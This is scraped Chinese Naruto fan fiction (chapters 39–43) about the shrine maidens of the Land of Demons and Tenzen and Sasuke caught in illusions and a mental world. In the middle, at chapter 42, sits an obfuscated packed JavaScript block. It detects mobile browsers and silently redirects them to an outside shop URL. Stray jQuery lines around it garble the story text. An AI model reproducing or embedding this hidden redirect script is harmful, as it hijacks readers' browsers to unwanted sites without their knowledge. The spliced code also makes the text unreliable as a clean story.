39.
千年前的这片大陆被来自天上降临的卯之女神统治着,她以绝对暴力压制所有部族、统一疆土,而原本世代受人供奉、执掌部族咒印与祈福的巫女们因此失去了赖以生存的根基。
女神忌惮各地巫女代代相传的血脉咒术、地脉封印秘术,于是不断削减巫女封地、拆毁神社,禁止民众献祭朝拜,零散的巫女或是被征召管束,或是被迫流亡。
原本互不往来的巫女一脉别无选择,只能放下地域隔阂,彼此聚拢抱团。
她们舍弃了各自残破的神社据点,寻到人迹罕至、地脉阴蔽的幽谷溶洞群居聚居。
这处不受卯之女神强权统治之下的地方成为游离在查克拉体系之外、唯一不受掌控的隐秘地带,正是如今的鬼之国。
尽管女神没有对她们赶尽杀绝,但也在附近修葺过自己的据点来防范这些小虫子,就在女神登月后,残留下来的据点久而久之成为了遗迹。
现在,鬼之国巫女的后代,那个男人的鲜血顺着封印阵的符文流淌,和遗迹产生了共鸣。
天逆每在那一瞬感受到了丝丝缕缕熟悉的气息,没等他抓住那抹转瞬即逝的记忆波动,就先一步察觉到了危险的降临——
他情不自禁地惊呼出声:“佐助大人!”
蓝色耀光大作。
天逆每的视线、意识都被夺取,心脏也随之被死死攥住。
他感觉有种说不出来的难受,像是有人硬生生将十几尾活蹦乱跳的鱼塞进他的胃里,痉挛着想要呕吐。
40.
天逆每睁眼,又立刻阖上,再睁开。
这样重复了四五次后,他才接受现实般不得不使用白眼打量眼前这个空间。
这片天地既无远近、也无边界,目之所及尽数是纯粹无边的惨白。
世界上的山峦草木,江河土地也见不到了,他分不清天与地的分界,上下四方全融在一片凝滞的纯白里,看不见云,望不到尽头,连光影都不复存在。
大筒木天逆每低头,落脚之处依旧是漫无边际的白色,听不到风声、水流声,世间一切声响尽数被这片虚无吞噬,死寂沉甸甸地包裹周身。
只有自己孤零零立在这片空白中央,身影单薄渺小,没有同行之人,没有来路,亦无去处。
外界的一切羁绊、纷争被彻底隔绝在外,仿佛整片世界唯独余下自己一人。
他伸手触碰周遭,却触不到任何实物,白茫茫一片不肯给出半点回应。
孤独从四肢百骸缓缓漫上来,他无处可逃,无处倚靠,像是被整个世界剥离放逐,永恒困在这片一无所有的纯白荒原之中。
“这里是,哪里?”天逆每还能听到自己的声音,但是没得到任何的响应。
他往前走,转几圈,依然是一成不变的白。
不清楚过去多久,他仿佛也开始丧失了视物的能力,当他将手掌放于眼前时,视线竟然变得逐渐模糊起来。
就从视觉开始先剥夺吗?
41.
宇智波佐助又重回于七岁的,最弱小又最无力且最痛苦的那一夜。
正是这天他被拖拽于永远无法摆脱的深渊之中,从此前路再无光明,每踏出一步都是黏稠的鲜血,每晚沉浸在梦里都是族人痛苦的注视。
孤独和蚀骨的痛楚从此牢牢缠上他,再也无法剥离。
族人的惨叫、忍术碰撞的爆响接连不断地炸开,每一声都狠狠钉在佐助心上。
彼时他还只是个孩童,往日熟悉的街坊长辈、玩伴同族,尽数倒在血泊里,温热的血顺着石板缝隙蔓延,空气里塞满刺鼻血腥的浓郁气味。
又是这样,又是这样,这样拼尽全力地狂奔,却还是不得不目睹宇智波鼬亲手屠戮族人的一幕幕,精神支柱也跟着崩塌。
那个男人,那个狠辣无情的男人永远不会为自己的所作所为而感到一丝一毫的忏悔。佐助往日对他的所有依赖、崇拜、亲近,在一瞬碎裂成利刃,狠狠扎进心口。
脆弱的心脏像是被烈火灼烧,又被寒冰死死封冻,痛苦一层层堆叠,压得他喘不过气。
“逃吧,我愚蠢的……”
猩红色的不详万花筒写轮眼在震颤,宇智波鼬平静的面孔有了丝丝裂痕,自他的嘴角溢出缕缕血液。
他的目光从颤抖无助的幼弟身上挪开,慢慢扭过脸,看到了一张面无表情的昳丽面孔。
少年乌黑的细眉是微微蹙着的,漆黑眼睛凛冽锐利,如插|进他心口的出窍长剑,红润的唇瓣抿成一条线,像悲悯而又庄重的佛陀。
他在杀人,身后却又仿佛绽开出朵朵庄严的莲花,出乎意料的圣洁高贵。
宇智波佐助拔出草雉剑,撕裂血肉的细微闷响低低漾开,暗红的血珠顺着冷冽雪亮的剑脊不断滚落。
他手腕轻扬、微微一抖。
附着在刃面上的血珠骤然飞溅散开,细密血线沿着修长剑刃垂落,如同胭脂融于寒铁。
鲜血源源不断地从宇智波鼬心口创伤涌出,顺着衣料层层浸透,一滴滴坠落在地面,晕开细碎妖冶的血痕。
寒光与赤血交织相融,惨烈的伤痛之中,偏生出一种惊心动魄、凄绝蚀骨的美感。
少年佐助没有去看被他杀死的,倒在地上的宇智波鼬。
他只是跨越时空,和曾经那个幼小如雏鸟般柔弱无助的自己对上目光,不期然地撞入一对凄惶而脆弱的黑瞳。
他神色不变,轻声对自己一字一句地说道:“不管你是不是痛到麻木,不管你有没有渴望过退路,不管你现在期待着什么,都必须心如磐石,绝不动摇,也绝不可以后悔,你能依赖的就只剩下自己。”
雏鸟愣愣地望着他,没有再颤抖。
“变强吧,唯有这条路了,谁也无法阻拦。”
坚定而又锋芒毕露的话脱口而出后,原本坚实的天地瞬间崩塌成万千细碎光点,如同揉碎了整片星河般破灭。
他再次睁开双眼,就见天逆每仰头倒在封印符文的阵法上,生死不知。
42.
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614889|205995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
天逆每听到了脚步声。
在他做了诸多尝试后,这片纯白空间总算给出反应。
他转过身,看到了秾艳夺目的黑,那是由画家费尽心思勾勒出来的极简极美线条,尤其霸道又彻底地占据了目之所及。
他在蛇窟总是安静注视着的那个少年——
宇智波佐助一步一步缓缓踏来,他所走过之处,嫩青草芽破土抽枝,缤纷野花顺着脚步一路次第绽放。
枯寂的空白里凭空生出枝干虬曲的林木,新叶层层舒展,深浅绿意层层晕染开来。寂寥无声的空间渐渐漾开清风,飞鸟栖上新发的枝桠,婉转啼鸣萦绕耳畔,潺潺溪流顺着地势蜿蜒流淌。
纯白荒芜被一路往后推斥消散,鲜活的色彩以他为圆心不断铺展蔓延。冷寂虚无化作青山花海,馥郁花香随风漫卷,原本只剩单调惨白的世界,随着他独行的身影,一点点填满人间万般声色与暖意。
这里是,天逆每的精神世界。
43.
“佐助大人?”
天逆每刚出声就否定了自己,“不,这里只是幻觉。”
他就是有这种与生俱来的野兽般直觉,况且刚刚才目睹了这样一场幻梦般的场面,无论如何也不会认为这里是在现实之中吧。
面前站立着的少年在他出声后神色依旧不变,定定地看着他,旋即伸出了手,抓住他的腕骨。
就算不是本人,但姿态、言行举止也太像了,简直一模一样。
还有这样的行为……天逆每深吸一口气。
怎么回事,他是对佐助大人产生不该有的妄念了吗?
他们继续往前走,用忍足赶路,不做任何停留。周遭绚丽多彩的风景都化为残影,被他们抛在身后。
天逆每跟着面前的【佐助】重新回到蛇窟,再次恢复了以往的生活。
【佐助】在这里潜心修炼忍术,他则是继续对这位小祖宗的生活展开无微不至的照料。
天逆每偶尔对大蛇丸的实验基地进行管理,并筹措活动的资金,再毫不手软地抽取大量金钱花费在【佐助】身上,偶尔得到大蛇丸和药师兜俩人不痛不痒的批评。
这样的日子平静安宁,美好得宛如沉浸在甜蜜而圆满的睡梦中,又是那么的真实可靠。
天逆每原本坚如磐石的心志也快动摇了——也许他们早就已经回了蛇窟,之前在鬼之国所发生的一切不过是在做梦,而现在才是真实。
佐助大人其实没有任何不对劲的地方,依然骄傲凌厉,毫不迟疑地踏在自己认定的道路上。
而蛇窟其他人也一如既往地做着手上的事,药师兜做着研究,大蛇丸大人也还是三年如一日地惦记着佐助大人的身体。
等等、身体……?!
三年之期即将来临,大蛇丸现在使用的躯体已经面临崩溃的境地,他必须要换身体了。
天逆每的心随之沉入了冰湖,手脚失去了温度,恐慌这种极其陌生的情绪瞬间席卷了他,居然让他有了种头晕目眩的感觉。